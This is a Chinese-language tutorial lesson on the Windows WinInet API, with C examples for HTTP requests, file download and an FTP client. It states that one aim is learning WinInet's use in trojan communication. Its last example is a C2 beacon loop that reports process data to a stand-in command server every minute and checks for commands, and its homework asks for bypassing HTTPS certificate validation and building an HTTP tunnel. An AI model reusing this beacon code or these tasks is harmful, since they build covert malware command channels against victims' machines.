Windows网络编程
5、WinInet API基础
1、课程目标
- 掌握WinInet库的使用
- 实现HTTP/HTTPS请求
- 学会FTP客户端编程
- 理解WinInet在木马通信中的应用
2、名词解释
| 术语 | 解释 |
|---|---|
| WinInet | Windows Internet扩展库 |
| HINTERNET | Internet句柄 |
| InternetOpen | 初始化WinInet |
| InternetConnect | 连接服务器 |
| HttpOpenRequest | 创建HTTP请求 |
3、代码实现
3.1、示例1:HTTP GET请求
// WinInetHttp.c - HTTP请求
#include <windows.h>
#include <wininet.h>
#include <stdio.h>
#pragma comment(lib, "wininet.lib")
// HTTP GET请求
BOOL HttpGet(const char* url, char** response, DWORD* responseLen) {
HINTERNET hInternet = NULL;
HINTERNET hConnect = NULL;
BOOL result = FALSE;
char buffer[4096];
DWORD bytesRead;
DWORD totalBytes = 0;
DWORD capacity = 4096;
*response = (char*)malloc(capacity);
if (!*response) return FALSE;
// 初始化WinInet
hInternet = InternetOpenA("Mozilla/5.0", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
if (!hInternet) goto cleanup;
// 打开URL
hConnect = InternetOpenUrlA(hInternet, url, NULL, 0,
INTERNET_FLAG_RELOAD | INTERNET_FLAG_NO_CACHE_WRITE, 0);
if (!hConnect) goto cleanup;
// 读取数据
while (InternetReadFile(hConnect, buffer, sizeof(buffer), &bytesRead) && bytesRead > 0) {
if (totalBytes + bytesRead >= capacity) {
capacity *= 2;
char* newBuf = (char*)realloc(*response, capacity);
if (!newBuf) goto cleanup;
*response = newBuf;
}
memcpy(*response + totalBytes, buffer, bytesRead);
totalBytes += bytesRead;
}
(*response)[totalBytes] = '\0';
*responseLen = totalBytes;
result = TRUE;
cleanup:
if (hConnect) InternetCloseHandle(hConnect);
if (hInternet) InternetCloseHandle(hInternet);
if (!result && *response) {
free(*response);
*response = NULL;
}
return result;
}
// HTTP POST请求
BOOL HttpPost(const char* url, const char* data, char** response, DWORD* responseLen) {
HINTERNET hInternet = NULL, hConnect = NULL, hRequest = NULL;
URL_COMPONENTSA urlComp;
char hostName[256], urlPath[1024];
BOOL result = FALSE;
// 解析URL
memset(&urlComp, 0, sizeof(urlComp));
urlComp.dwStructSize = sizeof(urlComp);
urlComp.lpszHostName = hostName;
urlComp.dwHostNameLength = sizeof(hostName);
urlComp.lpszUrlPath = urlPath;
urlComp.dwUrlPathLength = sizeof(urlPath);
if (!InternetCrackUrlA(url, 0, 0, &urlComp)) return FALSE;
hInternet = InternetOpenA("Mozilla/5.0", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
if (!hInternet) goto cleanup;
hConnect = InternetConnectA(hInternet, hostName, urlComp.nPort,
NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);
if (!hConnect) goto cleanup;
DWORD flags = INTERNET_FLAG_RELOAD | INTERNET_FLAG_NO_CACHE_WRITE;
if (urlComp.nScheme == INTERNET_SCHEME_HTTPS) {
flags |= INTERNET_FLAG_SECURE;
}
hRequest = HttpOpenRequestA(hConnect, "POST", urlPath, NULL, NULL, NULL, flags, 0);
if (!hRequest) goto cleanup;
// 设置Content-Type
char headers[] = "Content-Type: application/x-www-form-urlencoded";
if (!HttpSendRequestA(hRequest, headers, strlen(headers), (LPVOID)data, strlen(data))) {
goto cleanup;
}
// 读取响应
char buffer[4096];
DWORD bytesRead, totalBytes = 0;
DWORD capacity = 4096;
*response = (char*)malloc(capacity);
while (InternetReadFile(hRequest, buffer, sizeof(buffer), &bytesRead) && bytesRead > 0) {
if (totalBytes + bytesRead >= capacity) {
capacity *= 2;
*response = (char*)realloc(*response, capacity);
}
memcpy(*response + totalBytes, buffer, bytesRead);
totalBytes += bytesRead;
}
(*response)[totalBytes] = '\0';
*responseLen = totalBytes;
result = TRUE;
cleanup:
if (hRequest) InternetCloseHandle(hRequest);
if (hConnect) InternetCloseHandle(hConnect);
if (hInternet) InternetCloseHandle(hInternet);
return result;
}
int main() {
char* response;
DWORD responseLen;
printf("=== WinInet HTTP Demo ===\n\n");
// GET请求
if (HttpGet("http://httpbin.org/get", &response, &responseLen)) {
printf("GET Response (%d bytes):\n%s\n", responseLen, response);
free(response);
}
// POST请求
if (HttpPost("http://httpbin.org/post", "key=value&test=123", &response, &responseLen)) {
printf("\nPOST Response (%d bytes):\n%s\n", responseLen, response);
free(response);
}
return 0;
}
3.2、示例2:文件下载
// WinInetDownload.c - 文件下载
#include <windows.h>
#include <wininet.h>
#include <stdio.h>
#pragma comment(lib, "wininet.lib")
BOOL DownloadFile(const char* url, const char* savePath) {
HINTERNET hInternet = NULL, hUrl = NULL;
HANDLE hFile = INVALID_HANDLE_VALUE;
BOOL result = FALSE;
char buffer[8192];
DWORD bytesRead, bytesWritten;
DWORD totalBytes = 0;
hInternet = InternetOpenA("Downloader/1.0", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
if (!hInternet) goto cleanup;
hUrl = InternetOpenUrlA(hInternet, url, NULL, 0,
INTERNET_FLAG_RELOAD | INTERNET_FLAG_NO_CACHE_WRITE, 0);
if (!hUrl) goto cleanup;
// 获取文件大小
DWORD fileSize = 0, sizeLen = sizeof(fileSize);
HttpQueryInfoA(hUrl, HTTP_QUERY_CONTENT_LENGTH | HTTP_QUERY_FLAG_NUMBER,
&fileSize, &sizeLen, NULL);
printf("Downloading: %s\n", url);
if (fileSize > 0) printf("File size: %d bytes\n", fileSize);
hFile = CreateFileA(savePath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);
if (hFile == INVALID_HANDLE_VALUE) goto cleanup;
while (InternetReadFile(hUrl, buffer, sizeof(buffer), &bytesRead) && bytesRead > 0) {
WriteFile(hFile, buffer, bytesRead, &bytesWritten, NULL);
totalBytes += bytesRead;
if (fileSize > 0) {
printf("\rProgress: %d%%", (totalBytes * 100) / fileSize);
}
}
printf("\nDownloaded %d bytes to %s\n", totalBytes, savePath);
result = TRUE;
cleanup:
if (hFile != INVALID_HANDLE_VALUE) CloseHandle(hFile);
if (hUrl) InternetCloseHandle(hUrl);
if (hInternet) InternetCloseHandle(hInternet);
return result;
}
int main(int argc, char* argv[]) {
if (argc < 3) {
printf("Usage: %s <url> <save_path>\n", argv[0]);
return 1;
}
if (DownloadFile(argv[1], argv[2])) {
printf("Download successful!\n");
} else {
printf("Download failed: %d\n", GetLastError());
}
return 0;
}
3.3、示例3:FTP操作
// WinInetFtp.c - FTP客户端
#include <windows.h>
#include <wininet.h>
#include <stdio.h>
#pragma comment(lib, "wininet.lib")
typedef struct _FTP_SESSION {
HINTERNET hInternet;
HINTERNET hFtp;
} FTP_SESSION, *PFTP_SESSION;
BOOL FtpConnect(PFTP_SESSION session, const char* host, const char* user, const char* pass) {
session->hInternet = InternetOpenA("FTP Client", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
if (!session->hInternet) return FALSE;
session->hFtp = InternetConnectA(session->hInternet, host, INTERNET_DEFAULT_FTP_PORT,
user, pass, INTERNET_SERVICE_FTP, INTERNET_FLAG_PASSIVE, 0);
return session->hFtp != NULL;
}
void FtpDisconnect(PFTP_SESSION session) {
if (session->hFtp) InternetCloseHandle(session->hFtp);
if (session->hInternet) InternetCloseHandle(session->hInternet);
}
BOOL FtpUploadFile(PFTP_SESSION session, const char* localPath, const char* remotePath) {
return FtpPutFileA(session->hFtp, localPath, remotePath, FTP_TRANSFER_TYPE_BINARY, 0);
}
BOOL FtpDownloadFile(PFTP_SESSION session, const char* remotePath, const char* localPath) {
return FtpGetFileA(session->hFtp, remotePath, localPath, FALSE, 0, FTP_TRANSFER_TYPE_BINARY, 0);
}
void FtpListDirectory(PFTP_SESSION session, const char* path) {
WIN32_FIND_DATAA findData;
HINTERNET hFind;
if (path) FtpSetCurrentDirectoryA(session->hFtp, path);
hFind = FtpFindFirstFileA(session->hFtp, "*", &findData, 0, 0);
if (!hFind) {
printf("Directory listing failed\n");
return;
}
printf("Directory listing:\n");
do {
char type = (findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) ? 'd' : '-';
printf("%c %10d %s\n", type, findData.nFileSizeLow, findData.cFileName);
} while (InternetFindNextFileA(hFind, &findData));
InternetCloseHandle(hFind);
}
int main() {
FTP_SESSION session = {0};
printf("=== FTP Client Demo ===\n\n");
if (FtpConnect(&session, "ftp.example.com", "user", "pass")) {
printf("Connected to FTP server\n");
FtpListDirectory(&session, "/");
FtpDisconnect(&session);
} else {
printf("Connection failed: %d\n", GetLastError());
}
return 0;
}
3.4、示例4:C2 HTTP通信
// C2Http.c - 基于HTTP的C2通信
#include <windows.h>
#include <wininet.h>
#include <stdio.h>
#pragma comment(lib, "wininet.lib")
#define C2_URL "http://c2server.example.com/beacon"
// 发送信标
BOOL SendBeacon(const char* data, char** response) {
HINTERNET hInternet = NULL, hConnect = NULL, hRequest = NULL;
BOOL result = FALSE;
hInternet = InternetOpenA("Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
if (!hInternet) return FALSE;
URL_COMPONENTSA urlComp = {0};
char hostName[256], urlPath[1024];
urlComp.dwStructSize = sizeof(urlComp);
urlComp.lpszHostName = hostName;
urlComp.dwHostNameLength = sizeof(hostName);
urlComp.lpszUrlPath = urlPath;
urlComp.dwUrlPathLength = sizeof(urlPath);
InternetCrackUrlA(C2_URL, 0, 0, &urlComp);
hConnect = InternetConnectA(hInternet, hostName, urlComp.nPort,
NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);
if (!hConnect) goto cleanup;
hRequest = HttpOpenRequestA(hConnect, "POST", urlPath, NULL, NULL, NULL,
INTERNET_FLAG_RELOAD | INTERNET_FLAG_NO_CACHE_WRITE, 0);
if (!hRequest) goto cleanup;
// 自定义头部(可用于识别)
char headers[512];
sprintf_s(headers, sizeof(headers),
"Content-Type: application/octet-stream\r\n"
"X-Session-ID: %08X", GetTickCount());
if (!HttpSendRequestA(hRequest, headers, strlen(headers), (LPVOID)data, strlen(data))) {
goto cleanup;
}
// 读取响应
char buffer[4096];
DWORD bytesRead, totalBytes = 0;
*response = (char*)malloc(4096);
while (InternetReadFile(hRequest, buffer, sizeof(buffer), &bytesRead) && bytesRead > 0) {
memcpy(*response + totalBytes, buffer, bytesRead);
totalBytes += bytesRead;
}
(*response)[totalBytes] = '\0';
result = TRUE;
cleanup:
if (hRequest) InternetCloseHandle(hRequest);
if (hConnect) InternetCloseHandle(hConnect);
if (hInternet) InternetCloseHandle(hInternet);
return result;
}
// Beacon循环
void BeaconLoop() {
while (1) {
char beacon[256];
sprintf_s(beacon, sizeof(beacon), "BEACON|%d|%d",
GetCurrentProcessId(), GetTickCount());
char* response;
if (SendBeacon(beacon, &response)) {
// 处理C2命令
if (strncmp(response, "CMD:", 4) == 0) {
// 执行命令...
}
free(response);
}
Sleep(60000); // 1分钟间隔
}
}
4、课后作业
- 实现HTTPS证书验证绕过
- 添加代理支持
- 实现断点续传下载
- 编写HTTP隧道
5、扩展阅读
- WinInet API参考
- HTTP协议详解
- 安全通信实现